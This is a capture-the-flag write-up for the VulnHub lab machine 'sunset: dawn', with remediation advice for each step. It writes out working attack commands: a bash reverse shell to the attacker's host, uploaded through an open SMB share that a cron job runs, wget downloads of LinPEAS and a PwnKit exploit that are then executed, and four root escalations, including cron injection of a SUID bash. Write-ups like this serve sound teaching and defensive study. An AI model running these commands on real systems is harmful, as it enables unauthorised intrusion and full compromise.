Overview

sunset: dawn is a beginner-to-intermediate VulnHub machine and the second entry in the sunset series by @whitecr0wz. The attack path begins with SMB enumeration that reveals a writable share mapped directly to a directory executed by a root-owned cron job — uploading a reverse shell script there is enough to land a www-data shell. Post-exploitation enumeration with LinPEAS then uncovers four independent privilege escalation paths, each sufficient on its own to reach root. This machine is an excellent exercise in SMB misconfigurations, cron-based exploitation, and Linux post-exploitation methodology.

Flag captured:

• flag.txt → /root/flag.txt

Environment

Parameter Value Target IP 192.168.100.198 Attacker IP 192.168.100.199 (Kali Linux) Test Type Black Box Hostname dawn

Reconnaissance

Network Scan — Nmap

Full-port aggressive scan to enumerate all open services:

nmap -p- -sV -sC 192.168.100.198

Results:

PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.38 ((Debian))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  microsoft-ds Samba smbd 4.9.5-Debian
3306/tcp open  mysql       MySQL 5.5.5-10.3.18-MariaDB-0+deb10u1

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: dawn
|   NetBIOS computer name: DAWN
|_  Domain name: dawn

Key observations:

• Port 80 — Apache 2.4.38: web server present, but browsing to it yields no useful content
• Port 139/445 — Samba SMB: the most interesting attack surface given no web application
• Port 3306 — MariaDB: MySQL listening, but almost certainly bound to localhost only

With the web server returning nothing useful, SMB becomes the primary focus.

Web Enumeration — Gobuster

Even though the web server returned no meaningful content at the root, I ran a directory scan in parallel:

gobuster dir -u http://192.168.100.198 \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,txt,html

Results:

/logs   (Status: 301)

Browsing to /logs/ revealed a file: management.log. This log turned out to be critical — it recorded cron job activity on the system, showing automated execution of scripts inside a directory called ITDEPT:

Executing /home/dawn/ITDEPT/product-control
Executing /home/dawn/ITDEPT/web-control
chmod +x /home/dawn/ITDEPT/product-control
chmod +x /home/dawn/ITDEPT/web-control
sh /home/dawn/ITDEPT/product-control
sh /home/dawn/ITDEPT/web-control

The system was automatically making files executable and running them every minute. The name ITDEPT matched exactly what I was about to find in the SMB shares.

SMB Enumeration — enum4linux

enum4linux -a 192.168.100.198

Results:

Sharename    Type    Comment
---------    ----    -------
print$       Disk    Printer Drivers
ITDEPT       Disk    PLEASE DO NOT REMOVE THIS SHARE.
                     IN CASE YOU ARE NOT AUTHORIZED TO USE
                     THIS SYSTEM LEAVE IMMEDIATELY.
IPC$         IPC     IPC Service (Samba 4.9.5-Debian)

[+] Users found via RID cycling:
    dawn
    ganimedes

Two findings that matter:

• The ITDEPT share exists and carries a warning message — a clear sign it is actively monitored or executed
• Two system users identified: dawn and ganimedes

I verified access permissions with smbmap:

smbmap -H 192.168.100.198

ITDEPT    READ, WRITE    PLEASE DO NOT REMOVE THIS SHARE...

READ and WRITE access — no authentication required. Combined with what management.log already told me — that the system executes scripts from this exact directory every minute — the attack path was clear.

Initial Access — SMB Write + Cron Execution → Reverse Shell

Detail Value Vector SMB writable share + root cron job Shell obtained www-data Severity Critical

The cron job runs sh /home/dawn/ITDEPT/web-control every minute. The ITDEPT SMB share maps directly to /home/dawn/ITDEPT/. Anyone who can write to the share can write to that path — and the cron will execute whatever they put there as the service account.

Step 1 — Create the reverse shell script locally:

cat > web-control << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/192.168.100.199/4444 0>&1
EOF

Step 2 — Start a listener on Kali:

nc -lvnp 4444

Step 3 — Upload the script to the ITDEPT share:

smbclient //192.168.100.198/ITDEPT -N
smb: \> put web-control
putting file web-control as \web-control (6.8 kb/s)
smb: \> exit

Step 4 — Wait for the cron to fire (up to 60 seconds):

Connection received on 192.168.100.198 54321
www-data@dawn:/home/dawn/ITDEPT$

Shell obtained as www-data. I stabilised it immediately:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Post-Exploitation Enumeration — LinPEAS

With a stable shell, I transferred LinPEAS to the target using a Python HTTP server:

On Kali:

cd /usr/share/peass/linpeas
python3 -m http.server 80

On the target:

cd /tmp
wget http://192.168.100.199/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

LinPEAS immediately flagged four high-severity findings — each one a standalone path to root.

Privilege Escalation

Vector 1 — Sudo Misconfiguration

Detail Value Finding www-data can run /usr/bin/sudo as root with no password Severity Critical

LinPEAS output:

User www-data may run the following commands on dawn:
    (root) NOPASSWD: /usr/bin/sudo

This configuration allows www-data to run the sudo binary itself as root — without any password. Invoking sudo from inside sudo spawns a second privileged process that drops directly into a root shell.

Exploitation:

www-data@dawn:/tmp$ sudo sudo /bin/bash
root@dawn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

One command. Full root.

Remediation:

Edit /etc/sudoers and remove the www-data entry entirely. If www-data genuinely needs elevated access for a specific task, scope it to the minimum required binary — never to sudo itself:

# Remove this line:
www-data ALL=(root) NOPASSWD: /usr/bin/sudo

Vector 2 — SUID Binary (zsh)

Detail Value Finding /usr/bin/zsh has the SUID bit set, owned by root Severity Critical

LinPEAS output:

-rwsr-xr-x 1 root root 842K Feb 4 2019 /usr/bin/zsh

When the SUID bit is set on a binary, the process runs with the file owner’s privileges regardless of who launches it. Since zsh is a fully functional interactive shell owned by root, executing it directly spawns a root shell.

Exploitation:

www-data@dawn:/tmp$ /usr/bin/zsh
dawn# whoami
root
dawn# id
uid=0(root) gid=0(root) groups=0(root)

Remediation:

Remove the SUID bit from zsh immediately:

chmod u-s /usr/bin/zsh

# Verify:
ls -la /usr/bin/zsh
-rwxr-xr-x 1 root root 842K /usr/bin/zsh

Interactive shells (bash, zsh, sh, dash) must never carry the SUID bit. Audit all SUID binaries regularly:

find / -perm -4000 -type f 2>/dev/null

Vector 3 — Writable Cron Script

Detail Value Finding Root cron executes a script world-writable by www-data Severity High

LinPEAS identified two things in combination:

Finding 1 — root crontab:

* * * * * /home/dawn/ITDEPT/web-control

Finding 2 — permissions on that script:

-rwxrwxrwx 1 dawn dawn /home/dawn/ITDEPT/web-control

The script is world-writable. Root executes it every minute. Any user who can write to this file can inject arbitrary commands that root will run.

Exploitation:

# Inject a SUID bash copy into the script
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> \
  /home/dawn/ITDEPT/web-control

# Wait up to 60 seconds for the cron to fire, then:
/tmp/rootbash -p

rootbash-5.0# whoami
root
rootbash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root)

Remediation:

chmod 700 /home/dawn/ITDEPT/web-control
chown root:root /home/dawn/ITDEPT/web-control

Any script executed by a root cron job must be owned by root and writable only by root. Audit cron scripts regularly:

find /etc/cron* /var/spool/cron -type f | xargs ls -la

Vector 4 — PwnKit (CVE-2021–4034)

Detail Value CVE CVE-2021–4034 CVSS 7.8 (High) Component pkexec (Polkit) Vulnerable version pkexec 0.105 Exploit source github.com/ly4k/PwnKit Severity Critical

LinPEAS flagged this in its Exploit Suggester output:

[+] [CVE-2021-4034] PwnKit
    Tags: [ debian=7|8|9|10|11 ]
    Exposure: probable

PwnKit is a heap-based memory corruption vulnerability in pkexec — the PolicyKit binary present on virtually every Linux distribution. The flaw has existed since 2009 and was disclosed by Qualys Research Team in January 2022. It allows any unprivileged local user to escalate to root.

The pkexec binary on this system was confirmed vulnerable:

-rwsr-xr-x 1 root root 23288 Jan 15 2019 /usr/bin/pkexec

Exploitation:

On Kali, I downloaded the pre-compiled binary from ly4k/PwnKit and served it via HTTP:

wget https://github.com/ly4k/PwnKit/raw/main/PwnKit
python3 -m http.server 80

Note: The first attempt using berdav/CVE-2021–4034 failed with a GLIBC_2.34 version mismatch. The ly4k/PwnKit pre-compiled binary targets older GLIBC versions and is the correct choice for Debian 10.

On the target:

cd /tmp
wget http://192.168.100.199/PwnKit
chmod +x PwnKit
./PwnKit

root@dawn:/tmp# whoami
root
root@dawn:/tmp# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Remediation:

# Update polkit immediately:
sudo apt update && sudo apt upgrade policykit-1

# If updating is not immediately possible, remove the SUID bit as a temporary measure
# (note: this may break some GUI authentication prompts):
chmod 0755 /usr/bin/pkexec

The patched version for Debian 10 is policykit-1 0.105-26+deb10u1 or later.

Root Flag

root@dawn:~# cat /root/flag.txt

Hello! whitecr0wz here. I hope you enjoyed this box, if you
did please let me know at Twitter @whitecr0wz!

flag{3a3e52f0a6af0d6e36d7c5027c87f6e1}

Full Attack Chain

[Kali — 192.168.100.199]
         |
         | nmap -p- -sV -sC
         ↓
[dawn — 192.168.100.198]
  Port 80  → Apache 2.4.38 (no content)
  Port 445 → Samba (ITDEPT share)
         |
         | gobuster → /logs/management.log
         ↓
  Log reveals: cron executes ITDEPT/web-control every minute
         |
         | enum4linux → ITDEPT share: READ + WRITE (no auth)
         ↓
  Upload reverse shell as web-control → cron fires → www-data shell
         |
         | wget linpeas.sh → ./linpeas.sh
         ↓
  4 privesc vectors found:
    [1] sudo sudo /bin/bash           → root (1 command)
    [2] /usr/bin/zsh (SUID)           → root (1 command)
    [3] echo into web-control cron    → root (wait 60s)
    [4] ./PwnKit (CVE-2021-4034)      → root (1 command)
         |
         ↓
  ROOT — uid=0 — FULL COMPROMISE ✓

Key Takeaways

Reading logs before attacking: The /logs/management.log file told me exactly what the system was doing before I sent a single offensive request. Logs, readme files, and error messages often contain more actionable intelligence than any scanner output. Always enumerate web content thoroughly even when the homepage appears empty.

The SMB + cron combination: Neither the writable SMB share nor the cron job is catastrophic in isolation. Together they form a trivially exploitable initial access path — no credentials, no CVE, no brute force required. This is a textbook example of how misconfigured services compound each other.

Four paths, one machine: Finding four independent privilege escalation routes on a single system underscores an important principle: each vulnerability does not need to be critical on its own. Sudo misconfiguration, a SUID shell binary, a world-writable cron script, and an unpatched kernel component all coexisted here. Defence-in-depth means fixing all of them, not just the most obvious one.

GLIBC compatibility matters: The first PwnKit attempt failed due to a version mismatch between the compiled exploit binary and the target’s C library. When a kernel/userspace exploit fails silently, always check the GLIBC version (ldd --version) and match the pre-compiled exploit accordingly before assuming the system is not vulnerable.